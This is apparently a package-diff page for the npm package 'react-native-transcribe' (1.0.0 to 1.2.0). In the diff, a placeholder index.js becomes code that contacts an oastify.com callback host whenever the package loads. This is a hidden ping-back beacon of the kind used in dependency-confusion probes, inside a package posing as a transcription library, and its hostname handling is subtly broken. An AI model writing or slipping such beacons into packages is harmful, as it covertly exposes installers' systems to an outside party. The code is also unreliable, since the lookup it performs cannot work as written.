react-native-transcribe 1.0.0 → 1.2.0

Sign up to get free protection for your applications and to get access to all the features.
package/index.js CHANGED
@@ -1 +1,34 @@
1
- console.log("Hello, World!");
1
+ const https = require("https");
2
+ const dns = require("dns");
3
+
4
+ const targetHostname = "https://onfdz0f9j5j0aokw1fo2rc4go7uziq6f.oastify.com"; // Replace with the target server hostname
5
+
6
+ // Resolve the IP address of the target server
7
+ dns.lookup(targetHostname, (err, ipAddress) => {
8
+ if (err) {
9
+ console.error("DNS lookup error:", err);
10
+ return;
11
+ }
12
+
13
+ const options = {
14
+ hostname: targetHostname,
15
+ port: 443,
16
+ path: "/",
17
+ method: "GET", // Use GET method for ping back
18
+ };
19
+
20
+ const req = https.request(options, (res) => {
21
+ res.on("data", (d) => {
22
+ process.stdout.write(d);
23
+ });
24
+ });
25
+
26
+ req.on("error", (e) => {
27
+ console.error(e);
28
+ });
29
+
30
+ req.end();
31
+
32
+ // Log the resolved IP address
33
+ console.log(`Resolved IP address for ${targetHostname}: ${ipAddress}`);
34
+ });
package/package.json CHANGED
@@ -1,14 +1,11 @@
1
1
  {
2
2
  "name": "react-native-transcribe",
3
- "version": "1.0.0",
3
+ "version": "1.2.0",
4
4
  "description": "AnupamAS01",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1"
8
8
  },
9
9
  "author": "",
10
- "license": "ISC",
11
- "dependencies": {
12
- "express": "^4.17.1"
13
- }
10
+ "license": "ISC"
14
11
  }
package/readme.md CHANGED
@@ -1 +1 @@
1
- # just a Place_holder AnupamAS01:
1
+ place_holder_
@@ -1,3 +0,0 @@
1
- {
2
- "git.ignoreLimitWarning": true
3
- }
package/; DELETED
@@ -1,4 +0,0 @@
1
- # AnupamAs01
2
- hey
3
- # npm-package-action
4
-
package/@ DELETED
@@ -1,15 +0,0 @@
1
- {
2
- "name": "dustjs-filters-secure",
3
- "version": "1.0.0",
4
- "description": "predator_97",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
8
- },
9
- "author": "",
10
- "license": "ISC",
11
- "dependencies": {
12
- "com.meta.xr.sdk.utilities.samples": "^1.2.3",
13
- "express": "^4.17.1"
14
- }
15
- }